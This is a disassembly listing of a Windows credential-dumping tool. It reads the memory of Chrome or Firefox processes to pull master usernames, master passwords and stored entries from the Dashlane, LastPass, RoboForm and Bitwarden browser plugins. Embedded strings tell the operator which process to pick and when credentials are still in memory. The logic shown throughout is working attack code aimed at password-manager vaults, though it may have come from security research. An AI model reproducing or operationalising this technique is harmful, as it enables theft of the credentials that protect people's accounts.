jbe 0x1400114e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
mov rsi, qword [rbp - 0x40]
lea rdx, str.Searching_for_master_credentials._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.1400056a0
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400115a9
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400115a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400115a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400114f7
call fcn.140016acc
xor r12d, r12d
cmp rsi, 0x10
jb 0x1400117b9
lea rdx, [rsi + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x1400117b1
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400117b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp - 0x58]
cmp rsi, 0x10
cmovae rcx, r13
cmp rbx, 6
jne 0x140011799
mov r8, rbx
lea rdx, str.chrome
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140011799
lea rdx, str.User_input_was_for_Chrome._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
lea rdx, str.chrome.exe
lea rcx, [rsp + 0x48]
call fcn.140001ca0
nop
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
je 0x1400116b8
lea rcx, [rsp + 0x28]
call fcn.140001490
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x28]
call fcn.140001df0
nop
lea rcx, [rsp + 0x28]
call fcn.140001300
test eax, eax
je 0x140011688
mov ecx, eax
call fcn.140001a60
jmp 0x1400116ac
lea rdx, str.No_process_with_the_first_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x28]
call fcn.140014530
jmp 0x1400116db
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Searching_for_master_credentials__1_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.1400056a0
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Searching_for_master_credentials__2_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.140005ee0
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400115ac
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001178f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001178f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
jmp 0x1400115ac
lea rdx, str.Wrong_browser__provide_either_firefox_or_chrome_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
jmp 0x1400115ac
mov rcx, r13
call fcn.140016acc
mov r13, qword [rbp - 0x80]
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 8
jne 0x140011bac
mov r8, r14
lea rdx, str.dashlane
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140011bac
lea rdx, str.User_input_matches_dashlane._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.After_communicating_with_the_browser_plugin__wait_for_1_min_to_retrieve_entries._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Master_username_and_password_will_be_immediatelly_available._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.In_this_browser_plugin__the_first_largest_process_is_needed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.All_credentials_should_be_available__master_pass__entries__etc_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Provide_the_browser__e.g.__firefox__chrome_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
lea rdx, [rbp - 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400151b0
mov rbx, r12
lea rcx, [rbp - 0x58]
mov r13, qword [rbp - 0x58]
mov rsi, qword [rbp - 0x40]
cmp rsi, 0x10
cmovae rcx, r13
mov rdi, qword [rbp - 0x48]
cmp rdi, 6
jne 0x1400118c1
mov r8, rdi
lea rdx, str.chrome
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400118c1
lea rbx, str.chrome.exe
jmp 0x1400118f2
lea rcx, [rbp - 0x58]
cmp rsi, 0x10
cmovae rcx, r13
cmp rdi, 7
jne 0x1400118f2
mov r8, rdi
lea rdx, str.firefox
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
lea rax, str.firefox.exe
cmovne rax, rbx
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
mov rdx, rbx
lea rcx, [rsp + 0x48]
call fcn.140001ca0
nop
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
cmp rdi, r12
je 0x140011b2f
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 0x10
mov rbx, qword [rsp + 0x30]
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x1400119e6
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x1400119dd
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x140011989
cvtsi2sd xmm0, rcx
jmp 0x14001199e
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x1400119c2
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x1400119dd
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x140011940
lea rcx, [rsp + 0x28]
call fcn.140001300
test eax, eax
je 0x140011a0a
mov ecx, eax
call fcn.140001a60
jmp 0x140011a2e
lea rdx, str.No_process_with_the_first_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x140011a71
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011a6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140011a6c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
mov rsi, qword [rbp - 0x40]
lea rdx, str.Searching_for_entries._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.1400077c0
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Searching_for_master_username_and_password._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.140008010
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140011b6e
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011b57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140011b57
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140011a7f
call fcn.140016acc
mov qword [rsp + 0x48], 0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
cmp rsi, 0x10
jb 0x140011ba8
lea rdx, [rsi + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x140011ba0
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140011ba0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.140016acc
mov r13, qword [rbp - 0x80]
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 8
jne 0x140011ee3
mov r8, r14
lea rdx, str.lastpass
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140011ee3
lea rdx, str.User_input_matches_lastpass._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.In_this_browser_plugin__the_first_largest_process_is_needed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.All_credentials_should_be_available__master_username__entries__etc_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.To_find_the_master_password__the_user_should_enter_it_to_log_in_and_did_not_terminate_the_browser_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.In_most_cases__the_user_will_be_already_logged_in._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.For_now__this_only_works_with_Chrome._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
lea rdx, str.chrome.exe
lea rcx, [rsp + 0x48]
call fcn.140001ca0
nop
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
cmp rdi, r12
je 0x140011eb6
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 0x20
mov rbx, qword [rsp + 0x30]
nop
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140011d46
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x140011d3d
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x140011ce9
cvtsi2sd xmm0, rcx
jmp 0x140011cfe
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x140011d22
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x140011d3d
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x140011ca0
lea rcx, [rsp + 0x28]
call fcn.140001300
test eax, eax
je 0x140011d6a
mov ecx, eax
call fcn.140001a60
jmp 0x140011d8e
lea rdx, str.No_process_with_the_firstLargestPID_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x140011dd1
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011dcc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140011dcc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
lea rdx, str.Searching_for_master_username._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.1400097b0
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Searching_for_master_password._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.140008f70
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Searching_for_entries._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.140008850
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140011ee3
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011ede
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140011ede
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140011ddb
call fcn.140016acc
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 8
jne 0x14001219d
mov r8, r14
lea rdx, str.roboform
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001219d
lea rdx, str.User_input_matches_roboform._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.In_this_browser_plugin__the_first_largest_process_is_needed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Only_entries_should_be_available._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.For_now__this_only_works_with_Chrome._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
lea rdx, str.chrome.exe
lea rcx, [rsp + 0x48]
call fcn.140001ca0
nop
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
cmp rdi, r12
je 0x140012170
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 0x40
mov rbx, qword [rsp + 0x30]
nop
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140012056
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x14001204d
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x140011ff9
cvtsi2sd xmm0, rcx
jmp 0x14001200e
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x140012032
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x14001204d
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x140011fb0
lea rcx, [rsp + 0x28]
call fcn.140001300
test eax, eax
je 0x14001207a
mov ecx, eax
call fcn.140001a60
jmp 0x14001209e
lea rdx, str.No_process_with_the_first_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x1400120e1
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400120dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400120dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
lea rdx, str.Searching_for_entries._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.14000a000
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14001219d
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140012198
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140012198
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400120eb
call fcn.140016acc
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 9
jne 0x1400124e8
mov r8, r14
lea rdx, str.bitwarden
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400124e8
lea rdx, str.User_input_matches_bitwarden._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.In_this_browser_plugin__for_Chrome_the_second_largest_process_is_needed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.For_Firefox_the_third_largest_process_is_needed._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.In_Firefox__all_credentials_should_be_available__master_pass__entries__etc_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.In_Chrome__only_entries_are_available._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Note_that_in_case_of_Chrome__credentials_are_removed_after_some_time__i.e.__10_min_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.To_gain_again_access_to_entries_in_Chrome__a_browser_interaction_with_the_plugin_must_be_made._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.For_instance__this_can_happen_when_the_user_visits_any_login_screen._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.For_now__this_only_works_with_Chrome._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
lea rdx, str.chrome.exe
lea rcx, [rsp + 0x48]
call fcn.140001ca0
nop
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
cmp rdi, r12
je 0x1400124bb
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 0x80
mov rbx, qword [rsp + 0x30]
nop dword [rax + rax]
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
